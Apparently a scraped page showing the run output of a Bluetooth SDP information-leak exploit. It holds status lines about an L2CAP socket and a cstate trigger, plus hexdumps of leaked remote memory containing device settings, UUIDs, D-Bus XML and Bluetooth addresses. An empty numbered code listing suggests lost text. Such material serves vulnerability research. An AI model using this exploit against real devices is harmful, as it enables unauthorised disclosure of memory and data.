│····│··A·│····│··5·│ 000003e0 04 00 00 00 00 00 80 4d 40 27 aa 55 00 00 00 00 │····│···M│@'·U│····│ 000003f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000400 00 00 00 00 00 00 12 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000410 00 00 00 00 00 00 41 00 00 00 00 00 00 00 09 00 │····│··A·│····│····│ 00000420 11 03 00 00 00 00 0f 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000430 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000440 00 00 00 00 00 00 03 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000450 00 00 00 00 00 00 31 00 00 00 00 00 00 00 01 00 │····│··1·│····│····│ 00000460 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000470 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 00 │····│····│····│··0·│ 00000480 00 00 00 00 00 00 31 00 00 00 00 00 00 00 f0 b5 │····│··1·│····│····│ 00000490 41 27 aa 55 00 00 8c 45 a5 5a 00 00 00 00 30 b9 │A'·U│···E│·Z··│··0·│ 000004a0 41 27 aa 55 00 00 66 00 00 00 66 00 00 00 33 34 │A'·U│··f·│··f·│··34│ 000004b0 66 62 00 00 00 00 11 04 00 00 00 00 00 00 20 17 │fb··│····│····│·· ·│ 000004c0 41 27 aa 55 00 00 45 20 6e 6f 64 65 20 50 55 42 │A'·U│··E │node│ PUB│ 000004d0 4c 49 43 20 22 2d 2f 2f 66 72 65 65 64 65 73 6b │LIC │"-//│free│desk│ 000004e0 74 6f 70 2f 2f 44 54 44 20 44 2d 42 55 53 20 4f │top/│/DTD│ D-B│US O│ 000004f0 62 6a 65 63 74 20 49 6e 74 72 6f 73 70 65 63 74 │bjec│t In│tros│pect│ 00000500 69 6f 6e 20 31 2e 30 2f 2f 45 4e 22 0a 22 68 74 │ion │1.0/│/EN"│·"ht│ 00000510 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 64 65 73 │tp:/│/www│.fre│edes│ 00000520 6b 74 6f 70 2e 6f 72 67 2f 73 74 61 6e 64 61 72 │ktop│.org│/sta│ndar│ 00000530 64 73 2f 64 62 75 73 2f 31 2e 30 2f 69 6e 74 72 │ds/d│bus/│1.0/│intr│ 00000540 6f 73 70 65 63 74 2e 64 74 64 22 3e 0a 3c 6e 6f │ospe│ct.d│td">│·<no│ 00000550 64 65 3e 3c 69 6e 74 65 72 66 61 63 65 20 6e 61 │de><│inte│rfac│e na│ 00000560 6d 65 3d 22 6f 72 67 2e 66 72 65 65 64 65 73 6b │me="│org.│free│desk│ 00000570 74 6f 70 2e 44 42 75 73 2e 49 6e 74 72 6f 73 70 │top.│DBus│.Int│rosp│ 00000580 65 63 74 61 62 6c 65 22 3e 3c 6d 65 74 68 6f 64 │ecta│ble"│><me│thod│ 00000590 20 6e 61 6d 65 3d 22 49 6e 74 72 6f 73 70 65 63 │ nam│e="I│ntro│spec│ 000005a0 74 22 3e 3c 61 72 67 20 6e 61 6d 65 3d 22 78 6d │t"><│arg │name│="xm│ 000005b0 6c 22 20 74 79 70 65 3d 22 73 22 20 64 69 72 65 │l" t│ype=│"s" │dire│ 000005c0 63 74 69 6f 6e 3d 22 6f 75 74 22 2f 3e 0a 3c 2f │ctio│n="o│ut"/│>·</│ 000005d0 6d 65 74 68 6f 64 3e 3c 2f 69 6e 74 65 72 66 61 │meth│od><│/int│erfa│ 000005e0 63 65 3e 3c 69 6e 74 65 72 66 61 63 65 20 6e 61 │ce><│inte│rfac│e na│ 000005f0 6d 65 3d 22 6f 72 67 2e 66 72 65 65 64 65 73 6b │me="│org.│free│desk│ 00000600 74 6f 70 2e 44 42 75 73 2e 4f 62 6a 65 63 74 4d │top.│DBus│.Obj│ectM│ 00000610 61 6e 61 67 65 72 22 3e 3c 6d 65 74 68 6f 64 20 │anag│er">│<met│hod │ 00000620 6e 61 6d 65 3d 22 47 65 74 4d 61 6e 61 67 65 64 │name│="Ge│tMan│aged│ 00000630 4f 62 6a 65 63 74 73 22 3e 3c 61 72 67 20 6e 61 │Obje│cts"│><ar│g na│ 00000640 6d 65 3d 22 6f 62 6a 65 63 74 73 22 20 74 79 70 │me="│obje│cts"│ typ│ 00000650 65 3d 22 61 7b 6f 61 7b 73 61 7b 73 76 7d 7d 7d │e="a│{oa{│sa{s│v}}}│ 00000660 22 20 64 69 72 65 63 74 69 6f 6e 3d 22 6f 75 74 │" di│rect│ion=│"out│ 00000670 22 2f 3e 0a 3c 2f 6d 65 74 68 6f 64 3e 3c 73 69 │"/>·│</me│thod│><si│ 00000680 67 6e 61 6c 20 6e 61 6d 65 3d 22 49 6e 74 65 72 │gnal│ nam│e="I│nter│ 00000690 66 61 63 65 73 41 64 64 65 64 22 3e 3c 61 72 67 │face│sAdd│ed">│<arg│ 000006a0 20 6e 61 6d 65 3d 22 6f 62 6a 65 63 74 22 20 74 │ nam│e="o│bjec│t" t│ 000006b0 79 70 65 3d 22 6f 22 2f 3e 0a 3c 61 72 67 20 6e │ype=│"o"/│>·<a│rg n│ 000006c0 61 6d 65 3d 22 69 6e 74 65 72 66 61 63 65 73 22 │ame=│"int│erfa│ces"│ 000006d0 20 74 79 70 65 3d 22 61 7b 73 61 7b 73 76 7d 7d │ typ│e="a│{sa{│sv}}│ 000006e0 22 2f 3e 0a 3c 2f 73 69 67 6e 61 6c 3e 0a 3c 73 │"/>·│</si│gnal│>·<s│ 000006f0 69 67 6e 61 6c 20 6e 61 6d 65 3d 22 49 6e 74 65 │igna│l na│me="│Inte│ 00000700 72 66 61 63 65 73 52 65 6d 6f 76 65 64 22 3e 3c │rfac│esRe│move│d"><│ 00000710 61 72 67 20 6e 61 6d 65 3d 22 6f 62 6a 65 63 74 │arg │name│="ob│ject│ 00000720 22 20 74 79 70 65 3d 22 6f 22 2f 3e 0a 3c 61 72 │" ty│pe="│o"/>│·<ar│ 00000730 67 20 6e 61 6d 65 3d 22 69 6e 74 65 72 66 61 63 │g na│me="│inte│rfac│ 00000740 65 73 22 20 74 79 70 65 3d 22 61 73 22 2f 3e 0a │es" │type│="as│"/>·│ 00000750 3c 2f 73 69 67 6e 61 6c 3e 0a 3c 2f 69 6e 74 65 │</si│gnal│>·</│inte│ 00000760 72 66 61 63 65 3e 3c 6e 6f 64 65 20 6e 61 6d 65 │rfac│e><n│ode │name│ 00000770 3d 22 6f 72 67 22 2f 3e 3c 2f 6e 6f 64 65 3e 00 │="or│g"/>│</no│de>·│ 00000780 30 30 2d 30 30 30 30 2d 31 30 30 30 2d 38 30 30 │00-0│000-│1000│-800│ 00000790 30 2d 30 30 38 30 35 66 39 62 33 34 66 62 00 00 │0-00│805f│9b34│fb··│ 000007a0 00 00 24 00 00 00 30 30 30 30 31 38 30 30 2d 30 │··$·│··00│0018│00-0│ 000007b0 30 30 30 2d 31 30 30 30 2d 38 30 30 30 2d 30 30 │000-│1000│-800│0-00│ 000007c0 38 30 35 66 39 62 33 34 66 62 00 00 00 00 24 00 │805f│9b34│fb··│··$·│ 000007d0 00 00 30 30 30 30 31 38 30 31 2d 30 30 30 30 2d │··00│0018│01-0│000-│ 000007e0 31 30 30 30 2d 38 30 30 30 2d 30 30 38 30 35 66 │1000│-800│0-00│805f│ 000007f0 39 62 33 34 66 62 00 00 00 00 24 00 00 00 30 30 │9b34│fb··│··$·│··00│ 00000800 30 30 36 36 37 35 2d 37 34 37 35 2d 37 32 36 35 │0066│75-7│475-│7265│ 00000810 2d 36 34 36 39 2d 36 31 36 63 36 32 37 35 36 64 │-646│9-61│6c62│756d│ 00000820 37 30 00 00 00 00 08 00 00 00 4d 6f 64 61 6c 69 │70··│····│··Mo│dali│ 00000830 61 73 00 01 73 00 19 00 00 00 62 6c 75 65 74 6f │as··│s···│··bl│ueto│ 00000840 6f 74 68 3a 76 30 30 30 46 70 31 32 30 30 64 31 │oth:│v000│Fp12│00d1│ 00000850 34 33 36 00 00 00 07 00 00 00 41 64 61 70 74 65 │436·│····│··Ad│apte│ 00000860 72 00 01 6f 00 00 0f 00 00 00 2f 6f 72 67 2f 62 │r··o│····│··/o│rg/b│ 00000870 6c 75 65 7a 2f 68 63 69 30 00 00 00 00 00 10 00 │luez│/hci│0···│····│ 00000880 00 00 53 65 72 76 69 63 65 73 52 65 73 6f 6c 76 │··Se│rvic│esRe│solv│ 00000890 65 64 00 01 62 00 00 00 00 00 00 00 00 00 1f 00 │ed··│b···│····│····│ 000008a0 00 00 6f 72 67 2e 66 72 65 65 64 65 73 6b 74 6f │··or│g.fr│eede│skto│ 000008b0 70 2e 44 42 75 73 2e 50 72 6f 70 65 72 74 69 65 │p.DB│us.P│rope│rtie│ 000008c0 73 00 00 00 00 00 11 02 00 00 00 00 00 00 a0 29 │s···│····│····│···)│ 000008d0 41 27 aa 55 00 00 74 77 6f 72 6b 31 00 00 18 00 │A'·U│··tw│ork1│····│ 000008e0 00 00 00 00 00 00 09 00 00 00 43 6f 6e 6e 65 63 │····│····│··Co│nnec│ 000008f0 74 65 64 00 01 62 00 00 00 00 00 00 00 00 17 00 │ted·│·b··│····│····│ 00000900 00 00 6f 72 67 2e 62 6c 75 65 7a 2e 4d 65 64 69 │··or│g.bl│uez.│Medi│ 00000910 61 43 6f 6e 74 72 6f 6c 31 00 18 00 00 00 09 00 │aCon│trol│1···│····│ 00000920 00 00 43 6f 6e 6e 65 63 74 65 64 00 01 62 00 00 │··Co│nnec│ted·│·b··│ 00000930 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ * 00000ac0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 04 │····│····│····│····│ 00000ad0 00 00 00 00 00 00 11 02 00 00 00 00 00 00 b0 2b │····│····│····│···+│ 00000ae0 41 27 aa 55 00 00 00 00 00 00 00 00 00 00 01 00 │A'·U│····│····│····│ 00000af0 00 00 00 00 00 00 02 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000b00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000b10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000b20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0a 00 │····│····│····│····│ 00000b30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ * 00000b60 00 00 00 00 00 00 11 00 00 00 00 00 00 00 12 00 │····│····│····│····│ 00000b70 00 00 00 00 00 00 13 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000b80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ * 00000bb0 00 00 00 00 00 00 1b 00 00 00 00 00 00 00 1c 00 │····│····│····│····│ 00000bc0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000bd0 00 00 00 00 00 00 1f 00 00 00 00 00 00 00 20 00 │····│····│····│·· ·│ 00000be0 00 00 00 00 00 00 21 00 00 00 00 00 00 00 00 00 │····│··!·│····│····│ 00000bf0 00 00 00 00 00 00 23 00 00 00 00 00 00 00 24 00 │····│··#·│····│··$·│ 00000c00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ * 00000c80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 00 │····│····│····│··6·│ 00000c90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ * 00000ce0 00 00 00 00 00 00 11 02 00 00 00 00 00 00 20 ca │····│····│····│·· ·│ 00000cf0 40 27 aa 55 00 00 00 00 00 00 00 00 00 00 60 d5 │@'·U│····│····│··`·│ 00000d00 3f 27 aa 55 00 00 80 3f 40 27 aa 55 00 00 00 00 │?'·U│···?│@'·U│····│ 00000d10 00 00 00 00 00 00 e0 48 40 27 aa 55 00 00 00 00 │····│···H│@'·U│····│ 00000d20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000d30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 54 │····│····│····│···T│ 00000d40 40 27 aa 55 00 00 00 00 00 00 00 00 00 00 00 00 │@'·U│····│····│····│ 00000d50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ * 00000d70 00 00 00 00 00 00 d0 82 40 27 aa 55 00 00 80 8b │····│····│@'·U│····│ 00000d80 40 27 aa 55 00 00 a0 8c 40 27 aa 55 00 00 00 00 │@'·U│····│@'·U│····│ 00000d90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ * 00000dc0 00 00 00 00 00 00 70 a8 40 27 aa 55 00 00 50 a9 │····│··p·│@'·U│··P·│ 00000dd0 40 27 aa 55 00 00 00 00 00 00 00 00 00 00 00 00 │@'·U│····│····│····│ 00000de0 00 00 00 00 00 00 10 c6 40 27 aa 55 00 00 c0 c6 │····│····│@'·U│····│ 00000df0 40 27 aa 55 00 00 20 c8 40 27 aa 55 00 00 00 00 │@'·U│·· ·│@'·U│····│ 00000e00 00 00 00 00 00 00 60 d3 40 27 aa 55 00 00 d0 d4 │····│··`·│@'·U│····│ 00000e10 40 27 aa 55 00 00 00 00 00 00 00 00 00 00 00 00 │@'·U│····│····│····│ 00000e20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ * 00000e90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 a2 │····│····│····│····│ 00000ea0 41 27 aa 55 00 00 00 00 00 00 00 00 00 00 00 00 │A'·U│····│····│····│ 00000eb0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ * 00000ef0 00 00 00 00 00 00 51 00 00 00 00 00 00 00 80 e5 │····│··Q·│····│····│ 00000f00 3f 27 aa 55 00 00 2f 62 6c 75 65 74 6f 6f 74 68 │?'·U│··/b│luet│ooth│ 00000f10 2f 37 30 3a 46 33 3a 39 35 3a 37 41 3a 42 39 3a │/70:│F3:9│5:7A│:B9:│ 00000f20 43 38 2f 63 61 63 68 65 2f 30 30 3a 31 41 3a 37 │C8/c│ache│/00:│1A:7│ 00000f30 44 3a 44 41 3a 37 31 3a 31 31 2e 57 46 53 49 46 │D:DA│:71:│11.W│FSIF│ 00000f40 5a 00 00 00 00 00 21 00 00 00 00 00 00 00 01 00 │Z···│··!·│····│····│ 00000f50 00 00 17 00 00 00 18 00 00 00 19 00 00 00 30 75 │····│····│····│··0u│ 00000f60 00 00 00 00 00 00 51 00 00 00 00 00 00 00 40 e1 │····│··Q·│····│··@·│ 00000f70 41 27 aa 55 00 00 70 81 40 27 aa 55 00 00 20 00 │A'·U│··p·│@'·U│·· ·│ 00000f80 00 00 00 00 00 00 30 00 00 00 00 00 00 00 70 81 │····│··0·│····│··p·│ 00000f90 40 27 aa 55 00 00 73 76 7d 61 73 00 00 00 20 00 │@'·U│··sv│}as·│·· ·│ 00000fa0 00 00 00 00 00 00 f0 c4 40 27 aa 55 00 00 50 00 │····│····│@'·U│··P·│ 00000fb0 00 00 00 00 00 00 c0 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000fc0 00 00 00 00 00 00 00 12 41 27 aa 55 00 00 18 00 │····│····│A'·U│····│ 00000fd0 00 00 20 00 00 00 00 00 00 00 00 00 00 00 ff ff │·· ·│····│····│····│ 00000fe0 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff │····│····│····│····│ * 00001000 ff ff ff ff ff ff 08 56 4c a5 5a c8 10 00 00 │····│···V│L·Z·│···│ 0000100f 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 [*] Creating L2CAP socket [*] Connecting to target [*] Sending packet to prepare serverside cstate [*] cstate: len=8 timestamp=5aa54c56 offset=101 [*] Triggering infoleak... [*] The response is 4111 bytes large 00000000 05 00 00 10 0a 0f ff 68 6e 6f 6c 6f 67 69 65 73 │····│···h│nolo│gies│ 00000010 3d 42 52 2f 45 44 52 3b 0a 54 72 75 73 74 65 64 │=BR/│EDR;│·Tru│sted│ 00000020 3d 66 61 6c 73 65 0a 42 6c 6f 63 6b 65 64 3d 66 │=fal│se·B│lock│ed=f│ 00000030 61 6c 73 65 0a 53 65 72 76 69 63 65 73 3d 30 30 │alse│·Ser│vice│s=00│ 00000040 30 30 31 31 30 35 2d 30 30 30 30 2d 31 30 30 30 │0011│05-0│000-│1000│ 00000050 2d 38 30 30 30 2d 30 30 38 30 35 66 39 62 33 34 │-800│0-00│805f│9b34│ 00000060 66 62 3b 30 30 30 30 31 31 30 36 2d 30 30 30 30 │fb;0│0001│106-│0000│ 00000070 2d 31 30 30 30 2d 38 30 30 30 2d 30 30 38 30 35 │-100│0-80│00-0│0805│ 00000080 66 39 62 33 34 66 62 3b 30 30 30 30 31 31 30 61 │f9b3│4fb;│0000│110a│ 00000090 2d 30 30 30 30 2d 31 30 30 30 2d 38 30 30 30 2d │-000│0-10│00-8│000-│ 000000a0 30 30 38 30 35 66 39 62 33 34 66 62 3b 30 30 30 │0080│5f9b│34fb│;000│ 000000b0 30 31 31 30 63 2d 30 30 30 30 2d 31 30 30 30 2d │0110│c-00│00-1│000-│ 000000c0 38 30 30 30 2d 30 30 38 30 35 66 39 62 33 34 66 │8000│-008│05f9│b34f│ 000000d0 62 3b 30 30 30 30 31 31 30 65 2d 30 30 30 30 2d │b;00│0011│0e-0│000-│ 000000e0 31 30 30 30 2d 38 30 30 30 2d 30 30 38 30 35 66 │1000│-800│0-00│805f│ 000000f0 39 62 33 34 66 62 3b 30 30 30 30 31 31 31 32 2d │9b34│fb;0│0001│112-│ 00000100 30 30 30 30 2d 31 30 30 30 2d 38 30 30 30 2d 30 │0000│-100│0-80│00-0│ 00000110 30 38 30 35 66 39 62 33 34 66 62 3b 30 30 30 30 │0805│f9b3│4fb;│0000│ 00000120 31 31 31 35 2d 30 30 30 30 2d 31 30 30 30 2d 38 │1115│-000│0-10│00-8│ 00000130 30 30 30 2d 30 30 38 30 35 66 39 62 33 34 66 62 │000-│0080│5f9b│34fb│ 00000140 3b 30 30 30 30 31 31 31 36 2d 30 30 30 30 2d 31 │;000│0111│6-00│00-1│ 00000150 30 30 30 2d 38 30 30 30 2d 30 30 38 30 35 66 39 │000-│8000│-008│05f9│ 00000160 62 33 34 66 62 3b 30 30 30 30 31 31 31 66 2d 30 │b34f│b;00│0011│1f-0│ 00000170 30 30 30 2d 31 30 30 30 2d 38 30 30 30 2d 30 30 │000-│1000│-800│0-00│ 00000180 38 30 35 66 39 62 33 34 66 62 3b 30 30 30 30 31 │805f│9b34│fb;0│0001│ 00000190 31 32 66 2d 30 30 30 30 2d 31 30 30 30 2d 38 30 │12f-│0000│-100│0-80│ 000001a0 30 30 2d 30 30 38 30 35 66 39 62 33 34 66 62 3b │00-0│0805│f9b3│4fb;│ 000001b0 30 30 30 30 31 31 33 32 2d 30 30 30 30 2d 31 30 │0000│1132│-000│0-10│ 000001c0 30 30 2d 38 30 30 30 2d 30 30 38 30 35 66 39 62 │00-8│000-│0080│5f9b│ 000001d0 33 34 66 62 3b 30 30 30 30 31 32 30 30 2d 30 30 │34fb│;000│0120│0-00│ 000001e0 30 30 2d 31 30 30 30 2d 38 30 30 30 2d 30 30 38 │00-1│000-│8000│-008│ 000001f0 30 35 66 39 62 33 34 66 62 3b 30 30 30 30 31 38 │05f9│b34f│b;00│0018│ 00000200 30 30 2d 30 30 30 30 2d 31 30 30 30 2d 38 30 30 │00-0│000-│1000│-800│ 00000210 30 2d 30 30 38 30 35 66 39 62 33 34 66 62 3b 30 │0-00│805f│9b34│fb;0│ 00000220 30 30 30 31 38 30 31 2d 30 30 30 30 2d 31 30 30 │0001│801-│0000│-100│ 00000230 30 2d 38 30 30 30 2d 30 30 38 30 35 66 39 62 33 │0-80│00-0│0805│f9b3│ 00000240 34 66 62 3b 30 30 30 30 36 36 37 35 2d 37 34 37 │4fb;│0000│6675│-747│ 00000250 35 2d 37 32 36 35 2d 36 34 36 39 2d 36 31 36 63 │5-72│65-6│469-│616c│ 00000260 36 32 37 35 36 64 37 30 3b 0a 0a 5b 44 65 76 69 │6275│6d70│;··[│Devi│ 00000270 63 65 49 44 5d 0a 53 6f 75 72 63 65 3d 31 0a 56 │ceID│]·So│urce│=1·V│ 00000280 65 6e 64 6f 72 3d 31 35 0a 50 72 6f 64 75 63 74 │endo│r=15│·Pro│duct│ 00000290 3d 34 36 30 38 0a 56 65 72 73 69 6f 6e 3d 35 31 │=460│8·Ve│rsio│n=51│ 000002a0 37 34 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 │74··│····│····│····│ 000002b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ * 000003d0 00 00 00 00 00 00 41 00 00 00 00 00 00 00 35 00 │····│··A·│····│··5·│ 000003e0 04 00 00 00 00 00 80 4d 40 27 aa 55 00 00 00 00 │····│···M│@'·U│····│ 000003f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000400 00 00 00 00 00 00 12 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000410 00 00 00 00 00 00 41 00 00 00 00 00 00 00 09 00 │····│··A·│····│····│ 00000420 11 03 00 00 00 00 0f 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000430 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000440 00 00 00 00 00 00 03 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000450 00 00 00 00 00 00 31 00 00 00 00 00 00 00 01 00 │····│··1·│····│····│ 00000460 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000470 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 00 │····│····│····│··0·│ 00000480 00 00 00 00 00 00 31 00 00 00 00 00 00 00 f0 b5 │····│··1·│····│····│ 00000490 41 27 aa 55 00 00 8c 45 a5 5a 00 00 00 00 30 b9 │A'·U│···E│·Z··│··0·│ 000004a0 41 27 aa 55 00 00 66 00 00 00 66 00 00 00 33 34 │A'·U│··f·│··f·│··34│ 000004b0 66 62 00 00 00 00 11 04 00 00 00 00 00 00 20 17 │fb··│····│····│·· ·│ 000004c0 41 27 aa 55 00 00 45 20 6e 6f 64 65 20 50 55 42 │A'·U│··E │node│ PUB│ 000004d0 4c 49 43 20 22 2d 2f 2f 66 72 65 65 64 65 73 6b │LIC │"-//│free│desk│ 000004e0 74 6f 70 2f 2f 44 54 44 20 44 2d 42 55 53 20 4f │top/│/DTD│ D-B│US O│ 000004f0 62 6a 65 63 74 20 49 6e 74 72 6f 73 70 65 63 74 │bjec│t In│tros│pect│ 00000500 69 6f 6e 20 31 2e 30 2f 2f 45 4e 22 0a 22 68 74 │ion │1.0/│/EN"│·"ht│ 00000510 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 64 65 73 │tp:/│/www│.fre│edes│ 00000520 6b 74 6f 70 2e 6f 72 67 2f 73 74 61 6e 64 61 72 │ktop│.org│/sta│ndar│ 00000530 64 73 2f 64 62 75 73 2f 31 2e 30 2f 69 6e 74 72 │ds/d│bus/│1.0/│intr│ 00000540 6f 73 70 65 63 74 2e 64 74 64 22 3e 0a 3c 6e 6f │ospe│ct.d│td">│·<no│ 00000550 64 65 3e 3c 69 6e 74 65 72 66 61 63 65 20 6e 61 │de><│inte│rfac│e na│ 00000560 6d 65 3d 22 6f 72 67 2e 66 72 65 65 64 65 73 6b │me="│org.│free│desk│ 00000570 74 6f 70 2e 44 42 75 73 2e 49 6e 74 72 6f 73 70 │top.│DBus│.Int│rosp│ 00000580 65 63 74 61 62 6c 65 22 3e 3c 6d 65 74 68 6f 64 │ecta│ble"│><me│thod│ 00000590 20 6e 61 6d 65 3d 22 49 6e 74 72 6f 73 70 65 63 │ nam│e="I│ntro│spec│ 000005a0 74 22 3e 3c 61 72 67 20 6e 61 6d 65 3d 22 78 6d │t"><│arg │name│="xm│ 000005b0 6c 22 20 74 79 70 65 3d 22 73 22 20 64 69 72 65 │l" t│ype=│"s" │dire│ 000005c0 63 74 69 6f 6e 3d 22 6f 75 74 22 2f 3e 0a 3c 2f │ctio│n="o│ut"/│>·</│ 000005d0 6d 65 74 68 6f 64 3e 3c 2f 69 6e 74 65 72 66 61 │meth│od><│/int│erfa│ 000005e0 63 65 3e 3c 69 6e 74 65 72 66 61 63 65 20 6e 61 │ce><│inte│rfac│e na│ 000005f0 6d 65 3d 22 6f 72 67 2e 66 72 65 65 64 65 73 6b │me="│org.│free│desk│ 00000600 74 6f 70 2e 44 42 75 73 2e 4f 62 6a 65 63 74 4d │top.│DBus│.Obj│ectM│ 00000610 61 6e 61 67 65 72 22 3e 3c 6d 65 74 68 6f 64 20 │anag│er">│<met│hod │ 00000620 6e 61 6d 65 3d 22 47 65 74 4d 61 6e 61 67 65 64 │name│="Ge│tMan│aged│ 00000630 4f 62 6a 65 63 74 73 22 3e 3c 61 72 67 20 6e 61 │Obje│cts"│><ar│g na│ 00000640 6d 65 3d 22 6f 62 6a 65 63 74 73 22 20 74 79 70 │me="│obje│cts"│ typ│ 00000650 65 3d 22 61 7b 6f 61 7b 73 61 7b 73 76 7d 7d 7d │e="a│{oa{│sa{s│v}}}│ 00000660 22 20 64 69 72 65 63 74 69 6f 6e 3d 22 6f 75 74 │" di│rect│ion=│"out│ 00000670 22 2f 3e 0a 3c 2f 6d 65 74 68 6f 64 3e 3c 73 69 │"/>·│</me│thod│><si│ 00000680 67 6e 61 6c 20 6e 61 6d 65 3d 22 49 6e 74 65 72 │gnal│ nam│e="I│nter│ 00000690 66 61 63 65 73 41 64 64 65 64 22 3e 3c 61 72 67 │face│sAdd│ed">│<arg│ 000006a0 20 6e 61 6d 65 3d 22 6f 62 6a 65 63 74 22 20 74 │ nam│e="o│bjec│t" t│ 000006b0 79 70 65 3d 22 6f 22 2f 3e 0a 3c 61 72 67 20 6e │ype=│"o"/│>·<a│rg n│ 000006c0 61 6d 65 3d 22 69 6e 74 65 72 66 61 63 65 73 22 │ame=│"int│erfa│ces"│ 000006d0 20 74 79 70 65 3d 22 61 7b 73 61 7b 73 76 7d 7d │ typ│e="a│{sa{│sv}}│ 000006e0 22 2f 3e 0a 3c 2f 73 69 67 6e 61 6c 3e 0a 3c 73 │"/>·│</si│gnal│>·<s│ 000006f0 69 67 6e 61 6c 20 6e 61 6d 65 3d 22 49 6e 74 65 │igna│l na│me="│Inte│ 00000700 72 66 61 63 65 73 52 65 6d 6f 76 65 64 22 3e 3c │rfac│esRe│move│d"><│ 00000710 61 72 67 20 6e 61 6d 65 3d 22 6f 62 6a 65 63 74 │arg │name│="ob│ject│ 00000720 22 20 74 79 70 65 3d 22 6f 22 2f 3e 0a 3c 61 72 │" ty│pe="│o"/>│·<ar│ 00000730 67 20 6e 61 6d 65 3d 22 69 6e 74 65 72 66 61 63 │g na│me="│inte│rfac│ 00000740 65 73 22 20 74 79 70 65 3d 22 61 73 22 2f 3e 0a │es" │type│="as│"/>·│ 00000750 3c 2f 73 69 67 6e 61 6c 3e 0a 3c 2f 69 6e 74 65 │</si│gnal│>·</│inte│ 00000760 72 66 61 63 65 3e 3c 6e 6f 64 65 20 6e 61 6d 65 │rfac│e><n│ode │name│ 00000770 3d 22 6f 72 67 22 2f 3e 3c 2f 6e 6f 64 65 3e 00 │="or│g"/>│</no│de>·│ 00000780 30 30 2d 30 30 30 30 2d 31 30 30 30 2d 38 30 30 │00-0│000-│1000│-800│ 00000790 30 2d 30 30 38 30 35 66 39 62 33 34 66 62 00 00 │0-00│805f│9b34│fb··│ 000007a0 00 00 24 00 00 00 30 30 30 30 31 38 30 30 2d 30 │··$·│··00│0018│00-0│ 000007b0 30 30 30 2d 31 30 30 30 2d 38 30 30 30 2d 30 30 │000-│1000│-800│0-00│ 000007c0 38 30 35 66 39 62 33 34 66 62 00 00 00 00 24 00 │805f│9b34│fb··│··$·│ 000007d0 00 00 30 30 30 30 31 38 30 31 2d 30 30 30 30 2d │··00│0018│01-0│000-│ 000007e0 31 30 30 30 2d 38 30 30 30 2d 30 30 38 30 35 66 │1000│-800│0-00│805f│ 000007f0 39 62 33 34 66 62 00 00 00 00 24 00 00 00 30 30 │9b34│fb··│··$·│··00│ 00000800 30 30 36 36 37 35 2d 37 34 37 35 2d 37 32 36 35 │0066│75-7│475-│7265│ 00000810 2d 36 34 36 39 2d 36 31 36 63 36 32 37 35 36 64 │-646│9-61│6c62│756d│ 00000820 37 30 00 00 00 00 08 00 00 00 4d 6f 64 61 6c 69 │70··│····│··Mo│dali│ 00000830 61 73 00 01 73 00 19 00 00 00 62 6c 75 65 74 6f │as··│s···│··bl│ueto│ 00000840 6f 74 68 3a 76 30 30 30 46 70 31 32 30 30 64 31 │oth:│v000│Fp12│00d1│ 00000850 34 33 36 00 00 00 07 00 00 00 41 64 61 70 74 65 │436·│····│··Ad│apte│ 00000860 72 00 01 6f 00 00 